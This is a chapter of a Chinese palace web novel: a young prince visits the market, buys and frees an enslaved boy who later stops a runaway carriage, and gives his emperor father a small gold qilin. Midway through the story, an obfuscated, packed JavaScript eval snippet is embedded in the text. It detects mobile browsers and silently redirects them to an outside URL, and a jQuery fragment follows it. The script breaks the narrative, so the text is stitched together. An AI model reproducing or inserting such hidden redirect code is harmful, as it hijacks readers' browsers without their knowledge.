北境突厥阿史那部去年冬天多次侵犯边境,抢劫州县。
开春后,边关军报传来,皇帝李弘决意御驾亲征,命太子李常宸监国,不过皇帝知道太子年纪还轻,需要经验丰富的人辅助。
所以特别请太后垂帘听政,稳定宗室,同时让和亲王李崇简入朝辅政。
而另一边李常安解禁后还没去过慈宁宫。这日太后念叨起来,便派人去召。
“小七来了?”太后正在暖阁里翻看画册,见他进来,笑着招手,“到皇祖母这儿来。”
李常安走过去,规规矩矩行礼。
太后拉他坐下,仔细端详他的小脸:“这几日怎么没精打采的?可是闷着了?”
李常安眼睛转了转,凑近些,声音软软的:“皇祖母,宫里真的好闷……父皇要出征,大家都不许大声说话,不许跑不许跳,连花园里的鸟好像都不敢叫了。”
太后被他逗笑了:“你呀,就会夸张。”
李常安见太后心情不错,便挨得更近些,小手轻轻拽了拽太后的衣袖,眼睛眨巴眨巴:“皇祖母,您上次说……等天暖了,允我出宫看看的。”
“哦?”太后挑眉,“现在想起来讨承诺了?”
“您看今天天气多好!”
李常安指向窗外,“太阳暖暖的,风也不冷。我就出去半日,不,两个时辰也行!就去西市转转,听说那儿有糖人、皮影戏,还有会说话的小鹦鹉……”
他说得眼睛发亮,又赶紧补上一句:“我保证乖乖的,带足侍卫,申时前一定回来!皇祖母——”
最后那声“皇祖母”拖得长长的,软软糯糯,还带着点小委屈。
太后被他磨得没法,笑着点了点他的额头:“你这孩子,跟谁学的这般会缠人?”
李常安立刻顺杆爬:“跟皇祖母学的呀!您最疼我了,对不对?”
“就你嘴甜。”太后摇摇头,对身旁的嬷嬷道,“罢了,去安排一下,明日让七皇子出宫半日,多派些侍卫跟着,务必护周全了。”
“谢皇祖母!”李常安差点蹦起来,又赶紧端住皇子仪态,只是眉眼间的喜色藏都藏不住。
太后看他这样,又嘱咐:“记住,申时前必须回宫。不得去偏僻处,不得与人争执,更不许乱吃东西——外头那些不干不净的,仔细吃坏肚子。”
“是是是,孙儿都记下了!”李常安连连点头,小模样乖得不得了。
翌日上午,天朗气清,西市人声鼎沸,比李常安想象的还要热闹。
迟晏和苏文瑾一左一右跟着他,身后不远处跟着四名便装侍卫。
“殿下想买什么?”迟晏目光时刻留意着周围。
“随便看看。”李常安其实心里揣着事——他想送父皇一件出征的礼物。
可看了一圈,玉佩、刀剑、护身符……不是太贵重就是太寻常。
直到经过一家老银楼时,他脚步顿住了。
橱窗里摆着各色金银小件,其中一只憨态可掬的小金虎让他心念一动。
“客官里边请!”掌柜热情迎出来。
李常安从荷包里倒出几十颗金瓜子——是平日攒下的赏赐。
“老伯,我想打一只小金麒麟,这么大。”
他比了比拇指大小,“要昂着头的,眼睛要亮亮的,能……能保佑平安那种。”
掌柜捻须笑道:“只是这几日活计多,若要赶工,工钱需加三成。”
“多久能好?”
“未时末来取,如何?”
李常安算了算时辰,点头应下,付了定金。
走出银楼时,荷包已轻了大半。
三人又在市集逛了会儿。
苏文瑾买了糖画,迟晏选了一方砚台。
行至西市深处僻静处时,一阵压抑的呜咽和呵斥声传来。
只见墙角围着一群人,当中几个彪形大汉正用皮鞭抽打着七八个被铁链锁住的人。
那些人肤色黝黑,身材高大却瘦骨嶙峋,浑身伤痕累累,蜷缩在地上瑟瑟发抖。
“昆仑奴。”迟晏低声道,“南洋来的,力气大但笨拙,多买来做苦力。”
李常安的目光落在一个最瘦小的昆仑奴身上。
是个少年,不过十三四岁模样,肋骨根根分明,背上新伤叠旧伤,此刻正死死咬着嘴唇,不让自己哭出声。
“住手!”李常安自己都没反应过来,话已脱口而出。
执鞭的汉子回头,见是个锦衣小公子,皮笑肉不笑道:“小公子,咱们管教自家奴仆,不碍您的事吧?”
“他们……犯了什么错?”
“偷懒!不抽不听话!”汉子说着又是一鞭甩向那少年。
李常安急道:“别打了!我……我买他!”
汉子停下手,上下打量他:“小公子,这奴虽瘦,但骨架好,养养就是好劳力。十两银子,不二价。”
十两!李常安摸了摸荷包——方才打金麒麟已花了大部分金瓜子,剩下碎银加起来也不过二三两。他回头看向迟晏和苏文瑾。
迟晏皱眉,低声道:“殿下,臣身上未带足银两。不如先回府取……”
“我有法子!”苏文瑾突然扯了扯李常安的袖子,眼睛亮得异常,“殿下随我来!”
他拉着李常安就往旁边一条小巷钻。
迟晏阻拦不及,只得快步跟上。
侍卫们对视一眼,见此也只能跟上。
小巷深处竟藏着一家不起眼的赌坊,门帘半掩,里头传来骰子声和吆喝声。
“不可!”迟晏一把拦住,“殿下千金之躯,怎能进这种地方?”
“就一会儿!一会儿就好!”苏文瑾急道,“我、我保证能赢!”
李常安看看苏文瑾,又回头望望巷口。
他一咬牙:“赌一把,进去,快点出来。”
赌坊内乌烟瘴气。
苏文瑾径直挤到最里一张赌大小桌前,从怀里摸出一两碎银,啪地押在“大”上。
“买定离手——开!四五六,大!”
一两变二两。
苏文瑾不取钱,将二两全押“小”。
“一一三,小!”二两变四两。
如此连押四把,苏文瑾面前的银子已堆到十六两。
庄家额头见汗,周围赌客啧啧称奇。
苏文瑾见好就收,抓起银子拉着李常安就走。
出了赌坊,他才松了口气,对一脸震惊的李常安小声道:“殿下,我、我从小运气就好……逢赌十有八九能赢,但家里怕我学坏,严禁我去赌场,您千万别告诉我爹!”
李常安一脸羡慕:“我知道了,我不会说的。”
迟晏脸色铁青,但事已至此,也没有说啥。
十两银子递给那汉子,签了契书,昆仑奴就归了李常安。
昆仑奴少年好像知道李常安买下了他,铁链一解开就踉跄着扑倒在李常安脚边,以额触地,含糊不清地说着什么,似是番语。
“起来吧。”李常安看着他有些心疼,“以后你就叫……阿铁,跟着我,不会再挨打了。”
阿铁抬起头,黑亮的眼睛里有泪光闪动,重重磕了三个头。
回程时已近申时,一行人匆匆往宫门赶。
行至主街,忽闻前方马匹嘶鸣!
一辆马车不知为何惊了,车夫被甩下,两匹高头大马拖着车厢疯冲而来,行人惊惶四散,马车正前方,一个卖花的小女孩吓呆了,站在原地动弹不得!后面便是李常安一行人。
“小心!”迟晏一把将李常安往后拉。
电光石火间,阿铁窜出!
他竟不躲不闪,闷吼一声,双臂肌肉贲张,迎着疯马直冲上去,在马车即将撞上小女孩的瞬间,双手死死扣住车辕,脚下如生根般扎进青石板缝——
“吁——!”
马匹被这巨力所阻,前蹄扬起,竟被硬生生拖停!车厢歪斜,轰然倒地。
阿铁双臂衣袖尽裂,手臂上青筋暴起,却稳稳护住了身后的小女孩。
街上随即爆发出喝彩声。
车夫连滚爬爬过来千恩万谢,小女孩的母亲抱着孩子哭出声。
李常安看着阿铁佩服不已。
“殿下,”迟晏低声道,“十两银子赚大了。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16874569|188600||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
回宫后,李常安将阿铁安置在长春宫后罩房,吩咐太医给他治伤。
未时末,李常安命人去银楼将打好的金麒麟取来。
金麒麟小小一只,金灿灿的,眼睛是两粒墨玉,在灯下幽幽发亮。
李常安小心地把它包进帕子里。
出征前一天,宫里的气氛严肃到极点。
太庙祭祀,告慰祖先,皇帝穿着黑色金甲,在众人注视下,英武威严,尽显帝王气概。
傍晚,皇帝在养心殿安排最后的事宜。
王公公轻手轻脚进来:“皇上,七殿下在殿外求见,等了一会儿了。”
皇帝笔尖一顿:“让他进来。”
门开了,李常安迈着小短腿跨过门槛。
今天李常安穿着深蓝色绣银纹的皇子服,衬得小脸越发白净。
奇怪的是,他右手一直攥得紧紧的,好像握着什么宝贝。
走到书桌前,李常安规规矩矩行礼:“儿臣给父皇请安。”
“起来吧。”皇帝放下笔,“这个时辰来,有什么事?”
李常安抬起头,往前蹭了两步,伸出紧握的小拳头,慢慢摊开手心。
一只小小的金麒麟,静静地躺在他白嫩的手心里。
小麒麟只有大拇指那么大,纯金的,做工说不上多精细,甚至有点憨头憨脑的。
小麒麟仰着脖子,四只小短腿微微弯曲,最出彩的是一双眼睛——两颗芝麻大的墨玉镶的,在烛光下幽幽发亮。
“父皇,这个送给您。”
皇帝挑了挑眉,身子微微前倾,目光落在那小玩意儿上。
“儿臣……儿臣没什么值钱东西。”李常安耳朵尖有点红。
“这是用平时攒的金瓜子,请宫外银楼打的,麒麟是祥瑞,能辟邪保平安。”
他顿了顿,“儿臣希望父皇平平安安的,打胜仗,早点回来。”
殿里一片安静。
王公公偷偷瞅皇帝的脸色——咦,皇上嘴角好像弯了一点点?
皇帝伸出手,从李常安手心里拿起那只小小的金麒麟,的确有点粗糙,不过心意尚可。
“你就用所有金瓜子打了这个?”皇帝忽然问。
李常安老老实实点头:“嗯,都用了。本来还想打个大点的,可金瓜子不够……”
说着,小脸垮了垮,“现在儿臣的小金库,空得能跑老鼠了。”
皇帝眼里闪过一丝笑意,很快又压下去。
“朕收下了。”
李常安眼睛“唰”地亮了,整个人都明媚起来。
皇帝站起身,走到他面前,高大的影子把李常安整个罩住了。
他伸出手,似乎想摸头,可手悬在半空顿了顿,最后落在李常安单薄的肩膀上,轻轻拍了拍。
“在宫里好好待着,别惹事。”
“嗯!”李常安用力点头,随即眨巴眨巴眼,露出点可怜相。
“父皇,那……那您能不能赏儿臣点金瓜子?就一点点!不然往后宫学里比赛,我都拿不出彩头了……”
皇帝看着他小狗似的眼神,差点没绷住脸。
“你送朕东西,就为了要赏?”皇帝故意板起脸。
“不是不是!”李常安急忙摆手。
“送麒麟是真心的!要赏是……是顺便的。”说着自己也不好意思地笑了。
皇帝摇摇头,转身走到书案前,提笔写了几个字,盖上私印,递给王公公:“去内务府,支五十两金给七皇子。”
王公公赶紧接过来:“是。”
李常安乐得差点跳起来,又赶紧忍住,规规矩矩行礼:“谢父皇赏!”
“行了,回去吧。”皇帝挥挥手。
“儿臣告退!”李常安退后几步,走到门口,又回头看了一眼,这才跟着王公公离开。
殿门轻轻合上。
皇帝独自站了一会儿,重新摊开手。
小金麒麟静静躺着,墨玉眼睛幽幽发光。
他摇了摇头,低声自语:“小滑头……送个礼,倒把朕的私房钱坑走一笔。”
可嘴角,却是不自觉地扬着。